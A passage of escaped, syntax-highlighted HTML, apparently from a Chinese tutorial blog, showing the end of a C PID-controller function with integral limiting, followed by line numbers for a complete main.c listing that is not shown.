class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 获取PID三值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_sum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_change\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 数据头向前移动一个\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 限制I的累计不可大于MAX_I\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eP\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKP\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKD\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 计算出PID的返回值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch3 id=\"完整的mainc程序\"\u003e完整的main.c程序\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e121\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e122\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e123\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e124\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e125\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e126\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e127\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e128\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e129\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e130\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e131\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e132\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e133\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e134\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e135\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e136\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e137\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e138\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e139\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e140\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e141\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e142\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e143\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e144\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e145\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e146\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e147\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e148\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e149\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e150\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e151\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e152\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e153\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e154\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e155\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e156\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e157\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e158\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e159\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e160\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e161\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e162\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e163\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e164\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e165\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e166\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e167\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e168\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e169\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e170\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e171\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e172\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e173\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e174\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e175\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e176\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e177\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e178\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e179\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e180\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e181\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e182\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e183\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e184\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e185\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e186\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e187\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e188\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e189\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e190\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e191\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e192\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e193\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e194\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e195\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e196\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e197\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e198\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e199\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e200\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e201\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e202\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e203\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e204\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e205\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e206\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e207\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e208\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e209\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e210\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e211\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e212\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e213\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e214\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e215\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e216\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e217\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e218\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e219\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e220\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e221\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e222\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e223\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e224\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e225\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e226\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e227\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e228\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e229\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e230\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e231\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e232\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e233\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e234\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e235\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e236\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e237\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e238\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e239\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e240\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e241\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e242\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e243\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e244\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e245\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e246\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e247\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e248\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e249\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e250\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e251\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e252\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e253\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e254\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e255\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e256\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e257\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e258\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e259\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e260\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e261\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e262\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e263\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e264\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e265\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e266\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e267\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e268\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e269\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e270\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e271\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e272\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e273\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e274\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e275\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e276\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e277\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e278\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e279\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e280\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e281\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e282\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e283\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e284\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e285\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e286\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e287\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e288\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e289\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e290\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e291\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e292\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e293\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e294\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e295\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e296\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e297\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e298\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e299\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e300\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e301\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e302\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e303\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e304\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e305\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e306\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e307\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e308\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e309\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e310\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e311\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e312\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e313\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e314\n\u003c/span\u003e\u003cspan 